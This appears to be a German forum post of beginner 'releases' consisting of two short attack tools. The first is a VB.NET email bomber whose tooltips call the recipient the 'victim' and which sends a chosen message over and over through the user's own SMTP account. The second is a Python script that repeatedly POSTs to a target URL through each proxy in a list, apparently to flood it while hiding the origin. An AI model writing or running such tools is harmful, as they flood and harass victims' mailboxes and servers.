Kleinere Releases/Beginner Releases

Imports System.Net.Mail
Public Class Form1
    Dim Counter As Integer = 0
    Dim Counter2 As Integer = 0
    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
        Counter2 = counteransage.Value
        Timer1.Start()
    End Sub

    Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
        Timer1.Stop()
    End Sub

    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
        ToolTip1.SetToolTip(Ziel, "Hier kannst du die E-Mail Adresse deines 'Opfers' angeben.")
        ToolTip1.SetToolTip(serversend, "Hier gibst du denn Server deiner EMail an. Für web.de z.B 'SMTP.web.de'")
        ToolTip1.SetToolTip(Email, "Hier gibst du deine eigene E-Mail Adresse an.")
        ToolTip1.SetToolTip(Passwort, "Hier gibst du dein Passwort ein. Natürlich wird dieses nicht angezeigt.")
        ToolTip1.SetToolTip(counteransage, "Hier gibst du an, wie oft die Email gesendet werden soll.")
        ToolTip1.SetToolTip(SendeText, "Hier legst du den Text fest, der in der Email steht, die gesendet wird.")
        ToolTip1.SetToolTip(server, "Du weist nicht welchen Server deine Email benutzt? Hier wird dir geholfen.")
        ToolTip1.SetToolTip(Counteranzeige, "Hier wird dir gezeigt, wie oft die Email schon versendet wurde.")
        ToolTip1.SetToolTip(Betreff, "Hier gibst du einen BEtreff an.")
    End Sub

    Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
        Dim MyMailMessage As New MailMessage()
        MyMailMessage.From = New MailAddress(Email.Text)
        MyMailMessage.To.Add(Ziel.Text)
        MyMailMessage.Subject = (Betreff.Text)
        MyMailMessage.Body = SendeText.Text
        Dim SMTPServer As New SmtpClient()
        SMTPServer = New SmtpClient(serversend.Text)
        SMTPServer.Port = 587
        SMTPServer.Credentials = New System.Net.NetworkCredential(Email.Text, Passwort.Text)
        SMTPServer.EnableSsl = True
        SMTPServer.Send(MyMailMessage)
        Counter += 1
        Counteranzeige.Text = Counter
        If Counter = Counter2 Then
            Timer1.Stop()
            Counteranzeige.Text = ("FERTIG")
            Counter = 0
        End If
    End Sub

    Private Sub serversend_TextChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles serversend.TextChanged

    End Sub
End Class

import requests
import sys

url = sys.argv[1]
proxyfile = sys.argv[2]
fobj = open(proxyfile, "r") 
user_agent = {
	'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:10.0.11) Gecko/20100101 Firefox/10.0.11 Iceweasel/10.0.11'}
for line in fobj:
	proxies = {
		"http": line
	}
	r = requests.post(url, proxies=proxies)

IP:Port